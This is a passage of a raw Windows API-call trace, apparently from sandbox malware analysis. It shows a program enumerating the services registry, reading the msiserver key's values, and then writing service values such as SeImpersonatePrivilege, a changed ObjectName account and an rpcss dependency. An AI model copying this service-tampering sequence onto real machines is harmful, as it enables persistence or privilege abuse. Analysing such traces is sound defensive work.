lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0236.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0236.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0236.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0236.575] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0236.575] RegCloseKey (hKey=0x150) returned 0x0 [0236.575] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.575] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.576] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.576] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.577] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.577] RegCloseKey (hKey=0xc4) returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.577] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.577] RegCloseKey (hKey=0x150) returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.578] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.579] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.579] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.579] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeImpersonatePrivilege", cbData=0x17 | out: lpData="SeImpersonatePrivilege") returned 0x0 [0236.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.580] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.581] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.581] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0236.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.581] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.582] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.582] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: 